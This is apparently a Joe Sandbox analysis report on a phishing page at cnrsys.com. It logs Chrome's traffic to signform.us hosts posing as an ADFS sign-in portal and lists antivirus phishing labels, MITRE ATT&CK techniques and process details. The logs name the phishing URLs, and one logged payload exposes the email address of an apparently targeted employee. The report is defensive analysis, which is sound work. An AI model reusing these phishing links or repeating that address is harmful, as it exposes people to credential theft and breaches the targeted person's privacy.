2024-09-27 06:18:57 UTC	280	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 06:18:57 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close etag: ED67F68E42EDB0D1E6087D97445D46B2A475DAD7A6697670C1F161B419E5D2B4 access-control-allow-origin: * access-control-allow-headers: *
2024-09-27 06:18:57 UTC	14820	IN	Data Raw: 33 39 64 63 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 04 00 00 00 23 08 06 00 00 00 72 d6 74 30 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 85 69 43 43 50 49 43 43 20 70 72 6f 66 69 6c 65 00 00 28 91 7d 91 3d 48 c3 40 1c c5 5f d3 6a 45 2a 0e 76 50 71 c8 50 9d ec e0 07 e2 58 aa 58 04 0b a5 ad d0 aa 83 c9 a5 ad 85 26 0d 49 8a 8b a3 e0 5a 70 f0 63 b1 ea e0 e2 ac ab 83 ab 20 08 7e 80 b8 ba 38 29 ba 48 89 ff 4b 0a 2d 62 3c 38 ee c7 bb 7b 8f bb 77 80 d0 a8 30 d5 0c c4 00 55 b3 8c 74 22 2e e6 f2 2b 62 f0 15 01 0c a1 1b 51 4c 48 cc d4 93 99 85 2c 3c c7 d7 3d 7c 7c bd 8b f2 2c ef 73 7f 8e 3e a5 60 32 c0 27 12 c7 98 6e 58 c4 eb c4 33 9b 96 ce 79 9f 38 cc 36 24 85 f8 9c 78 dc a0 0b 12 3f 72 5d 76 f9 8d 73 c9 61 81 67 86 8d 6c 7a 8e Data Ascii: 39dcPNGIHDR#rt0gAMAaiCCPICC profile(}=H@_jE*vPqPXX&IZpc ~8)HK-b<8{w0Ut".+bQLH,<=\|\|,s>`2'nX3y86$x?r]vsaglz
2024-09-27 06:18:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49776	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:59 UTC	581	OUT	GET /adfs/portal/illustration/illustration.png?id=0C5D289F7460277C6F03A53FB814E3CB9DFED9A48038DB976535D9C1A7B89970 HTTP/1.1 Host: 69cde8a9-b98cbfac.signform.us Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
2024-09-27 06:18:59 UTC	280	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 06:18:59 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close etag: 0C5D289F7460277C6F03A53FB814E3CB9DFED9A48038DB976535D9C1A7B89970 access-control-allow-origin: * access-control-allow-headers: *
2024-09-27 06:19:00 UTC	16384	IN	Data Raw: 33 66 66 61 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 8c 00 00 04 38 08 02 00 00 00 25 e1 0f 5b 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 85 69 43 43 50 49 43 43 20 70 72 6f 66 69 6c 65 00 00 28 91 7d 91 3d 48 c3 40 1c c5 5f d3 6a 45 2a 0e 76 50 71 c8 50 9d ec e0 07 e2 58 aa 58 04 0b a5 ad d0 aa 83 c9 a5 ad 85 26 0d 49 8a 8b a3 e0 5a 70 f0 63 b1 ea e0 e2 ac ab 83 ab 20 08 7e 80 b8 ba 38 29 ba 48 89 ff 4b 0a 2d 62 3c 38 ee c7 bb 7b 8f bb 77 80 d0 a8 30 d5 0c c4 00 55 b3 8c 74 22 2e e6 f2 2b 62 f0 15 01 0c a1 1b 51 4c 48 cc d4 93 99 85 2c 3c c7 d7 3d 7c 7c bd 8b f2 2c ef 73 7f 8e 3e a5 60 32 c0 27 12 c7 98 6e 58 c4 eb c4 33 9b 96 ce 79 9f 38 cc 36 24 85 f8 9c 78 dc a0 0b 12 3f 72 5d 76 f9 8d 73 c9 61 81 67 86 8d 6c 7a 8e Data Ascii: 3ffaPNGIHDR8%[gAMAaiCCPICC profile(}=H@_jE*vPqPXX&IZpc ~8)HK-b<8{w0Ut".+bQLH,<=\|\|,s>`2'nX3y86$x?r]vsaglz
2024-09-27 06:19:00 UTC	12585	IN	Data Raw: 0d 0a 33 31 31 66 0d 0a 5d 9c 28 4b 15 0f e4 af a1 d0 2e 0d b6 0b cd e9 51 49 98 b2 79 b6 78 1d f5 66 75 be 17 14 73 97 d4 63 f0 35 b1 1e 8f e9 fc b7 ac c2 ba f7 0a 3d af c7 77 47 52 16 62 3a 45 3c da 57 30 5a 8f 82 d4 1d aa e8 e5 41 5e c9 fe 0e 09 10 48 93 3e e5 34 4d d3 f4 69 ff 9e cf 67 55 f5 de 2b 26 00 f0 3a af 6b 59 c4 44 62 28 18 45 d1 96 e0 e4 e4 a7 13 e6 5c 5d 0b 7c a1 cc 00 5a 28 5c cc 6b 4c c4 1a 72 ec 60 09 52 b0 f0 40 44 1c a1 09 e7 9c e1 14 09 ad c8 05 29 aa 9f 63 83 03 75 01 a4 f8 3e fe 76 2f f7 82 2d be a0 bd 92 c7 77 65 1f 9a b5 1a 07 a4 46 c8 30 0b a9 36 eb bf 08 32 7a c2 de 75 11 e5 b1 3f 98 b9 90 f6 fd 81 ab c8 eb 22 0c 67 cf 1d 07 ef 58 c7 cf 7f dd 86 7d 5a 3b 3f d3 f0 5d c3 8f f6 2b 62 6c f0 47 f6 64 a3 58 63 51 d5 ec 8f 35 9d 8b 86 Data Ascii: 311f](K.QIyxfusc5=wGRb:E<W0ZA^H>4MigU+&:kYDb(E\]\|Z(\kLr`R@D)cu>v/-weF062zu?"gX}Z;?]+blGdXcQ5
2024-09-27 06:19:00 UTC	16384	IN	Data Raw: 33 66 66 39 0d 0a 38 e8 ee da ec 63 9a 86 08 83 3c 33 15 ff 45 0e 0e 5e c7 39 ce 5b 84 1e 28 72 2d 9a 7d dc dd 05 11 1b 79 90 00 9a 06 47 08 5c 88 48 b0 e6 00 37 68 e2 e4 71 2c c0 f4 a0 e5 14 be 9e 78 76 c0 ac e3 f3 de 91 e8 81 de cd 05 5f d8 99 31 d1 80 c2 79 9c 1f f3 29 42 29 26 86 6c d0 d6 1a dd a9 9a 5c 4b 10 4c 12 00 98 c2 9d 10 b8 86 ae 0f 3c 60 b8 98 c8 2a 84 80 a2 a0 06 51 8b f4 2a 1b 01 4a 8b 1e 01 0f a4 52 84 8b 4a 1d a5 55 f3 bc 8c f1 2a 65 28 c3 58 86 61 d8 ed f7 8f bb a1 ec c7 71 6c a3 a0 ae 06 29 a5 9c 73 ce f9 ed db 87 6f be 79 dd 77 ab f5 7a 7d f7 e2 7e d5 f5 09 92 52 ca 9a 14 92 54 49 16 07 dd c3 08 ea 73 f2 f3 f9 f5 b3 82 6f 9e 95 25 dd d2 85 fd 5d 64 e3 ef 71 87 9f 0b b5 7c 1e ae 07 08 fe e1 cb dd 83 4f da 40 8a 64 e6 aa 6c cd 8c f2 e4 Data Ascii: 3ff98c<3E^9[(r-}yG\H7hq,xv_1y)B)&l\KL<`QJRJU*e(Xaql)soywz}~RTIso%]dq\|O@dl
2024-09-27 06:19:00 UTC	16384	IN	Data Raw: 0a 34 30 30 30 0d 0a 89 1e 20 f9 15 40 b3 aa f4 ba c5 11 90 0b cf ce 17 68 b1 16 53 38 0c e3 01 63 51 1b 64 b0 02 84 81 a0 01 08 97 8c 1f 45 33 c3 5c 07 f8 89 96 ad 51 2c b9 09 28 db 84 3f 3f c1 c8 94 53 4d 2a 47 17 db 6b cb 07 c9 b4 9a 0d 94 d8 2d 8d 6c 42 13 41 27 0e dc 6c 0d 2a 22 21 a1 ed 20 64 97 d0 b4 c2 28 b9 c6 66 9e b1 7f 7e 55 aa aa 3b 17 d7 ab 8c 8f 9d 76 ed 55 25 e3 1d 97 ca 70 ae c9 ac d8 75 fb 3b 1d 4c ec 8b 9b ab 7d 21 b7 29 97 6b 29 c7 fe fd 76 2a a6 f5 08 5d 76 49 ba f7 77 2c 42 76 4a 8d 0b 61 54 be a6 76 d0 21 db 5b bf 63 65 7a 15 c0 26 d2 5c 2d 57 68 66 0f 5b c8 2e dd 23 93 2c 62 cb dd a4 80 e1 5d 3c 92 09 b9 a2 4d 17 a8 8a a0 f6 a8 e1 76 a8 d1 9c 27 32 71 26 82 40 5a 4e e4 09 74 f0 2c 28 52 b3 9e ca 67 01 80 22 73 73 b7 63 cb ea f3 4a Data Ascii: 4000 @hS8cQdE3\Q,(??SMGk-lBA'l"! d(f~U;vU%pu;L}!)k)v*]vIw,BvJaTv![cez&\-Whf[.#,b]<Mv'2q&@ZNt,(Rg"sscJ
2024-09-27 06:19:00 UTC	9	IN	Data Raw: d6 3e 73 24 48 b0 43 0d 0a Data Ascii: >s$HC
2024-09-27 06:19:00 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 2f c2 41 35 35 aa ee 0f 0a 77 8a aa fb 7c b2 38 ab e5 5b b9 24 90 e9 eb 92 58 95 c0 10 77 f7 0c 22 52 6d 22 e2 cb b2 ae 1e 81 d6 1a cc 84 89 d5 76 23 6b 0d a6 e2 2a fe 16 f0 cc 4a 22 5d 50 5b 55 6d cb 90 7a d7 95 bb 00 20 c2 29 52 67 af 88 d9 a4 36 4f 53 3b 68 33 69 42 c2 25 b4 a9 aa 88 1d ec 46 b5 91 8a e9 24 a6 f3 3c eb c1 9a cd ed 78 30 b3 36 9b 6a ab 0b 64 7f c8 0c 9b 1b 3d e7 3d f3 e8 a6 22 50 72 41 c0 4b b8 c0 fe 8c 91 7a 22 d4 ff 36 0a 7a 3d a2 ea d9 5d a8 a5 4b 6d 0b ae a6 0e cf 2a 24 3e 68 c4 fd e3 ae dd ff 7c 7b d4 bf c2 46 8f bf 1f 51 e6 53 df ed 5f b2 58 f6 f7 e6 fb f8 53 7f e7 cf f6 89 57 7e 3e 15 31 e6 10 41 72 07 40 88 ea 31 db a1 d1 cf b2 15 17 07 77 39 6d cb 0c bf 35 4b 96 d5 b8 f8 eb 35 e1 da 03 1a 3b 5f f1 c5 68 ff 09 Data Ascii: 4000/A55w\|8[$Xw"Rm"v#kJ"]P[Umz )Rg6OS;h3iB%F$<x06jd=="PrAKz"6z=]Km$>h\|{FQS_XSW~>1Ar@1w9m5K5;_h
2024-09-27 06:19:00 UTC	8	IN	Data Raw: 22 50 61 01 a6 d4 0d 0a Data Ascii: "Pa
2024-09-27 06:19:00 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 07 23 1c a0 76 2c c3 76 6a 05 26 22 32 b8 d2 b9 db e5 f7 2c 03 5d 13 b5 be 64 d3 f0 1c 5c d8 d0 f6 97 20 05 be a2 07 d9 83 0e 7b 4b 8b 8d b8 f1 0c 34 c1 ce 2b f4 d9 2f 62 17 97 b1 8f 4a 05 50 4a c9 3d 74 7d 79 51 29 2a 45 60 f9 37 a8 8c 75 12 cc 2f 10 15 6f 20 c5 6d 32 00 e8 6e 3a 21 cf 23 3c 40 26 ff 79 35 41 84 0b 11 bd b3 7b 78 67 f7 a5 5d fb 32 7b 5f e8 49 0a 70 11 42 68 6a 00 5a f4 31 60 8b 31 6b 26 23 5b 85 ad f1 16 22 a2 2b a2 33 20 06 21 54 c5 94 08 13 98 0a 18 2a a4 de 4a 78 a1 18 c9 ca d1 39 e8 b0 fc 24 e0 f0 74 e7 16 27 c2 41 67 26 29 ac fc 1b 55 05 5d d6 21 60 ce 49 56 ba 4e 6c 0c e1 27 84 9f 20 e8 ca 36 52 42 3d 40 4f 05 07 82 8c 96 1a 96 20 05 d1 e6 6b 6b 17 13 9a 88 09 19 5d 18 29 7e 61 12 7a 11 82 48 cf 15 00 ba 96 c4 6b Data Ascii: 4000#v,vj&"2,]d\ {K4+/bJPJ=t}yQ)E`7u/o m2n:!#<@&y5A{xg]2{_IpBhjZ1`1k&#["+3 !TJx9$t'Ag&)U]!`IVNl' 6RB=@O kk])~azHk
2024-09-27 06:19:00 UTC	8	IN	Data Raw: a7 da e6 76 3f d5 0d 0a Data Ascii: v?
2024-09-27 06:19:00 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 39 02 e3 ee 66 69 24 14 a8 8d bb bd ed c6 26 6c 73 3d 3e 1c 76 fb 5b 8c 3b 35 13 51 46 d3 ee 4c d4 d7 24 26 70 a7 a7 b8 b1 8b 76 d0 e5 fa f5 87 44 28 f0 62 3d f8 32 fe 00 f7 d5 85 33 df 47 9b 49 9f 72 a3 be 8c 97 f1 32 7e 8f a8 e2 a7 3c 9b 8f 65 1d db bf 6e bd 2a b6 68 c2 05 5e f9 8c c7 c4 53 ab cf 63 c4 f3 82 10 71 f1 8b 5b 21 c9 47 6d 2f 9e 92 93 ac c4 f3 f4 ce dc 52 f8 b7 94 8a 2d c9 62 f5 a4 b8 38 e0 12 e1 de e6 d6 e3 ca 23 59 c1 a9 31 ce 6f e7 80 a2 5b 91 79 aa 57 97 16 76 46 b8 9f 1d ee b6 b5 78 21 98 41 3a 3a 72 5b d8 eb 19 76 bb 04 43 a2 07 ce ad f6 87 ab 56 b6 13 7d 17 a3 ca 88 30 3a 69 8c c8 6b 7c da b1 2d f1 a1 0e ae db 29 4a ef b1 91 1b d2 6c af d2 d3 4f 2e 7b e7 21 22 91 f6 9c 8f f2 d8 9f 9c f1 d3 e8 91 8f 60 b0 e5 d7 b6 48 Data Ascii: 40009fi$&ls=>v[;5QFL$&pvD(b=23GIr2~<en*h^Scq[!Gm/R-b8#Y1o[yWvFx!A::r[vCV}0:ik\|-)JlO.{!"`H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49779	35.190.80.1	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:19:35 UTC	529	OUT	OPTIONS /report/v4?s=ZXLKTnD3NvmH3q%2BrR84lxrDyALoZ9B34Rs29sdUWQ2cB1BnFFlAvE%2Bt%2FFSnUcL9vr6%2FKoFU4KyJUf4x5lcItQ1VRMj1H5WDLXrx%2FWoyGZqE%2F%2FrPPc8zysNvO2UKa HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://cnrsys.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:19:36 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 27 Sep 2024 06:19:35 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49780	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:19:36 UTC	429	OUT	OPTIONS /api/report?catId=GW+estsfd+ams2 HTTP/1.1 Host: 134694a7-b98cbfac.signform.us Connection: keep-alive Origin: https://accounts.signform.us Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:19:37 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 06:19:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding access-control-allow-headers: content-type access-control-allow-credentials: false access-control-allow-methods: , GET, OPTIONS, POST access-control-allow-origin:
2024-09-27 06:19:37 UTC	12	IN	Data Raw: 37 0d 0a 4f 50 54 49 4f 4e 53 0d 0a Data Ascii: 7OPTIONS
2024-09-27 06:19:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49781	35.190.80.1	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:19:36 UTC	476	OUT	POST /report/v4?s=ZXLKTnD3NvmH3q%2BrR84lxrDyALoZ9B34Rs29sdUWQ2cB1BnFFlAvE%2Bt%2FFSnUcL9vr6%2FKoFU4KyJUf4x5lcItQ1VRMj1H5WDLXrx%2FWoyGZqE%2F%2FrPPc8zysNvO2UKa HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 437 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:19:36 UTC	437	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 35 31 39 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 32 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 36 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 35 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6e 72 73 79 73 2e 63 6f 6d 2f 63 Data Ascii: [{"age":55190,"body":{"elapsed_time":1224,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"188.114.96.3","status_code":405,"type":"http.error"},"type":"network-error","url":"https://cnrsys.com/c
2024-09-27 06:19:36 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 27 Sep 2024 06:19:36 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49783	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:19:37 UTC	366	OUT	POST /api/report?catId=GW+estsfd+ams2 HTTP/1.1 Host: 134694a7-b98cbfac.signform.us Connection: keep-alive Content-Length: 479 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:19:37 UTC	479	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 34 32 34 38 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 36 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 73 69 67 6e 66 6f 72 6d 2e 75 73 2f 3f 75 73 65 72 6e 61 6d 65 3d 73 74 65 66 61 6e 2e 62 75 62 65 73 74 69 6e 67 65 72 40 68 6f 65 72 62 69 67 65 72 2e 63 6f 6d 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 32 30 36 2e 32 30 36 2e 31 32 35 2e 31 39 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 Data Ascii: [{"age":42481,"body":{"elapsed_time":1260,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com","sampling_fraction":1.0,"server_ip":"206.206.125.198","status_code":4
2024-09-27 06:19:38 UTC	367	IN	HTTP/1.1 429 Too Many Requests Server: nginx Date: Fri, 27 Sep 2024 06:19:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close request-context: appId=cid-v1:bdc28cee-e7d0-4fb8-ae30-555e54e91d16 access-control-allow-credentials: false access-control-allow-methods: , GET, OPTIONS, POST access-control-allow-origin:
2024-09-27 06:19:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:18:28
Start date:	27/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:18:30
Start date:	27/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1980,i,1171109190669764174,17585143211424108510,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	02:18:33
Start date:	27/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cnrsys.com/.jhg/#5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://cnrsys.com/cdn-cgi/challenge-platform/scripts/jsd/main.js	Avira URL Cloud: Label: phishing
Source: https://cnrsys.com/.jhg/	Avira URL Cloud: Label: phishing
Source: https://cnrsys.com/cdn-cgi/challenge-platform/h/g/jsd/r/8c9960913bc242c7	Avira URL Cloud: Label: phishing
Source: https://cnrsys.com/cdn-cgi/challenge-platform/h/g/jsd/r/8c99609c4fe34276	Avira URL Cloud: Label: phishing
Source: https://cnrsys.com/cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js?	Avira URL Cloud: Label: phishing

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://cnrsys.com/.jhg/#5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

